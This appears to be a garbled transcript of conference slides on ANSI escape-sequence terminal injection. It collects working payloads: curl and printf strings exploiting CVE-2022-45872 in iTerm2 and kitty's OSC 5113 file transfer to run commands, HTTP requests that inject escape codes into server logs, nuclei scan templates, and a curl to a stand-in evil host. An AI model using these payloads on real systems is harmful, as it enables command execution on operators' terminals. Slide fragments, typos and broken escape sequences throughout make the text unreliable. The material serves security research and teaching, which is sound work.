curl http://localhost:80/sup%0a%1B%5B31mESC-INJECTION-SUCCESSFUL-LETS-POP-CALC%1B%5B0m%07%0a%1bP%24qm%03%1b%5c%1bP%24qm%3bopen%20-a%20calculator%3b%0d%1b%5c%1bP%24qm%1b%5c

CVE-2022-45872 - DAVID LEADBEATER
iTERM2 DECRQSS RCE

```
curl http://localhost:80/sup%0a\1B%5B31mESC-INJECTION-SUCCESSFUL-LETS-POP-CALC%1B%5B0m%07%0a%1bP%24qm%03%1b%5c%1bP%24qm%3bopen%20-a%20calculator%3b%0d%1b%5c%1bP%24qm%1b%5c
```

CVE-2022-45872 - DAVID LEADBATE
Getting Started

The command you just ran

Congratulations! You have started the container for this tutorial. Let's first explain the command that you just ran. In case you forgot, here's the command:

```
docker logs --follow --tail 10
```

deep Dive
printf \"03P$qm\x03\033P$qm;open -a calculator;\r\n\033P$qm\033\n\n\n\n
2023/07/10 09:31:04 [error] 22#22: *102 open() /usr/share/nextpump

printf '\033P$qm\x03\007
printf '\033P$qm;open -a calculator;\r
\n\033\'
printf '\033P$qm\033\'
printf '\033P$qm\x03\007
printf '\033P$qm;open -a calculator;\r\n\033\'',
printf '\033P$qm\033\''
OSC5113 - KITTY FILETRANSFER OVER TTY

printf '\033]5113;ac=send;id=test;n=aGVsbG8udHh0;sz=3;d=AQID\''
OSC5113 - KITTY
FILETRANSFER OVER TTY

```c
printf '\033\]5113;ac=send;id=\nopen -a calculator.app\n\033\\
```

File transfer over the TTY

There are sometimes situations where the TTY is the only convenient pipe between two connected systems, for example, nested SSH sessions, a serial line, etc. In such scenarios, it is useful to be able to transfer files over the TTY.
OS X Terminal:

```bash
$ Documents printf \033[5113;ac=send;id=\nopen -a calculator.app\n\033\" 
```
printf '\033[5113;ac=send;id=\nopen -a calculator.app\n\033\n'

zsh: command not found: 5113

open -a calculator.app

;iBvZWZ1c2VkJHROZSB0cmFuc2Zlcg==

AC  %  %  +
7  8  9  ×
4  5  6  −
1  2  3  +
0  ,  =
curl -L evil.terminalinjection.com > badlog.log
BLACKBOX TESTING
400-500 ERRORS
POST /api/somepath HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: x
Content-Type: application/json
Connection: close

{
  "somekey": "somevalue"
}
POST /api/somepath HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: x
Content-Type: application/json
Connection: close

{  "somekey":"somevalue\n\u001b[31mESC-INJECTION-LFUNICODE:\u001b[32mSUCCESSFUL\u001b[0m\u0007\n"}

APPEND UNICODE
HTTP/1.1 500 Internal Server Error
content-type: application/json; charset=utf-8
content-length: x
Date: Tue, 18 Jul 2023 21:23:01 GMT
Connection: close

{
"statusCode": 500,
"error": "Internal Server Error",
"message": "query does not support somevalue\n\u001b[31mESC-INJECTION-LFUNICODE: \u001b[0m\u0007"
}

PLAUSIBLE (MOST LIKELY)
HTTP/1.1 500 Internal Server Error
content-type: application/json; charset=utf-8
content-length: x
Date: Tue, 18 Jul 2023 21:23:01 GMT
Connection: close

{
  "statusCode":500,
  "error":"Internal Server Error",
  "message":"query does not support somevalue\n\u001b[31mESC-INJECTION-LFUNICODE:\\u0001b[32mSUCCESSFUL\\u0001b[0m\\u00007\\n"
}

ESCAPED PROPERLY (GOOD JOB!)
POST /api/somepath HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: x
Content-Type: application/json
Connection: close

{
  "somekey": "somevalue [32mESC-INJECTION-RAW: [31mSUCCESSFUL [0m"
}

APPEND ESC/BELL (0X1B/0X07)
POST /api/somepath HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: x
Content-Type: application/json
Connection: close

{ "somekey": "somevalue\[32mESC-INJECTION-RAW:\[31mSUCCESSFUL\[0m" }

"somekey": "somevalue\[1b\[32mESC-INJECTION-RAW: \[1b\[31mSUCCESSFUL\[1b\[0m"
HTTP/1.1 500 Internal Server Error
content-type: application/json; charset=utf-8
content-length: x
Date: Tue, 18 Jul 2023 21:23:01 GMT
Connection: close

{
    "statusCode": 500,
    "error": "Internal Server Error",
    "message": "query does not support somevalue\u001b[31mESC-INJECTION-RAW:\u001b[32mSUCCESSFUL\u001b[0m\u0007"
}

AGAIN PLAUSIBLE (MOST LIKELY)
HTTP/1.1 500 Internal Server Error
content-type: application/json; charset=utf-8
content-length: x
Date: Tue, 18 Jul 2023 21:23:01 GMT
Connection: close

```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
}
```

**STRIPPED ERROR MESSAGE**
HTTP/1.1 404 Not Found
content-type: application/json; charset=utf-8
content-length: x
Date: Tue, 18 Jul 2023 21:23:01 GMT
Connection: close

<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<center><h1>404 Not Found</h1></center>
<hr/>
<center>nginx/1.23.3</center>
</body>
</html>

NO DATA IN RESPONSE
HTTP/1.1 400 Bad Request
content-type: application/json; charset=utf-8
content-length: x
Date: Tue, 18 Jul 2023 21:23:01 GMT
Connection: close

{
"statusCode":400,
"error":"Bad Request",
"message":"Invalid value \"somevalue\n\033[31mESC-INJECTION-LF\033[0mUNICODE:\n\033[32mSUCCESSFUL\033[0m\033[0m\n"
}

PLAUSIBLE (MOST LIKELY) BUT WONT BE LOGGED..
SEEMS TO BE EVERYWHERE
id: Terminal-injection-poc

info:
  name: Ansi Escape sequence terminal injection example
  author: STOK
  severity: 
  description: Example poc as a part of the presentation at Blackhat and DEF CON
  reference:
    - terminalinjection.com
  tags: loginjection

http:
  method: GET
  path:
    - '{BaseUrl}/%0a%1B%5B31mESC-INJECTION-LFURLENCODED:%1B%5B32mSUCCESSFUL%1B%5B0m%07%0a'
    - '{BaseUrl}/\u001b[31mESC-INJECTION-UNICODE:\u001b[32mSUCCESSFUL\u001b[0m\u0007'
  matchers-condition: or
  matchers:
    - type: word
      part: body
      words:
        - '\u001b[32mSUCCESSFUL\u001b[0m\u0007'

https://nuclei.projectdiscovery.io/
New templates added in latest release: 33
Templates loaded for current scan: 1
Targets loaded for current scan: 1
Running httpx on input host
Found 1 URL from httpx
[Terminal injection poc] Dumped HTTP request for http://127.0.0.1/1345/%0AESC_INJECTION-LFURLENCODED:SUCCESSFUL%07%0A

GET /1345/%0a%1b%5831mESC-INJECTION-LFURLENCODED:%1b%5b32mSUCCESSFUL%1b%5b0m%07%0a HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari, 37.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

[DBG] [Terminal-injection-poc] Dumped HTTP response http://127.0.0.1/1345/%0AESC_INJECTION-LFURLENCODED:SUCCESSFUL%07%0A

HTTP/1.1 404 Not Found
Connection: close
Content-Length: 555
Content Type: text/html
Date: Tue, 01 Aug 2023 08:21:42 GMT
Server: nginx/1.23.3
id: Terminal-injection-poc

info:
name: Consistent tag sequence terminal injection sample
author: STO
severity:
description: Example poc as a part of the presentation at Blackhat and DEF CON

http:
- method: GET
  path:
  - Base64: \\x001b[32mSUCCESSFUL\\x001b[0m\\x0007'
  - Base64: \\x001b[33mSUCCESSFUL\\x0007'
matchers:
  - type: word
    part: body
    words:
    - '[32mSUCCESSFUL\u001b[0m\u0007'
172.17.0.1 -- [01/Aug/2023:07:21:07 +0000] "HEAD /1345 HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36" "-"
172.17.0.1 -- [01/Aug/2023:07:21:13 +0000] "HEAD /1345 HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" "-"
2023/08/01 07:21:13 [error] 23#23: *52 open() "/usr/share/nginx/html/1345" failed (2: No such file or directory), client: 172.17.0.1, server: localhost, request: "HEAD /1345 HTTP/1.1", host: "127.0.0.1"
2023/08/01 07:25:13 [error] 23#23: *53 open() "/usr/share/nginx/html/1345" failed (2: No such file or directory), client: 172.17.0.1, server: localhost, request: "HEAD /1345 HTTP/1.1", host: "127.0.0.1"
172.17.0.1 -- [01/Aug/2023:07:25:13 +0000] "HEAD /1345 HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" "-"
2023/08/01 07:25:13 [error] 23#23: *54 open() "/usr/share/nginx/html/1345/ESC-INJECTION-LFURENCODED:SUCCESSFUL" failed (2: No such file or directory), client: 172.17.0.1, server: localhost, request: "GET /1345/%0a%1b%5b31mESC-INJECTION-LFURENCODED:1b%5b32mSUCCESSFUL%1b%5b0m%07%0a HTTP/1.1", host: "127.0.0.1"
172.17.0.1 -- [01/Aug/2023:07:25:13 +0000] "GET /1345/%0a%1b%5b31mESC-INJECTION-LFURENCODED:1b%5b32mSUCCESSFUL%1b%5b0m%07%0a HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36" "-"
2023/08/01 07:25:13 [error] 24#24: *55 open() "/usr/share/nginx/html/1345/\u0001b[32mSUCCESSFUL\u0001b[0m\u00007" failed (2: No such file or directory), client: 172.17.0.1, server: localhost, request: "GET /1345/%5cu0001b%5b31mESC-INJECTION-UNICODE:%5cu001b%5b32mSUCCESSFUL%5cu0001b%5b0m%5cu0007 HTTP/1.1", host: "127.0.0.1"
172.17.0.1 -- [01/Aug/2023:07:25:13 +0000] "GET /1345/%5cu0001b%5b31mESC-INJECTION-UNICODE:%5cu001b%5b32mSUCCESSFUL%5cu0001b%5b80m%5cu0007 HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" "-"
YOU NEED ACCESS TO LOGS!

TO VERIFY THAT IT RENDERED, SERVER RESPONSES ISNT ENOUGH.
# ServerTokens
# This directive configures what you return as the Server HTTP response Header. The default is 'Full' which sends information about the OS-Type and compiled in modules.
# Set to one of: Full | OS | Minimal | Minor | Major | Prod
# where Full conveys the most information, and Prod the least.
ServerTokens Minimal
ServerTokens Os
SecServerSignature '^[[31mESC-INJECTION:^[[32mSUCCESSFUL^[[0m'

# Optionally add a line containing the server version and virtual host name to server-generated pages (internal error documents, FTP directory listings, mod_status and mod_info output etc., but not CGI generated documents or custom error documents).
# Set to "EMAIL" to also include a mailto: link to the ServerAdmin.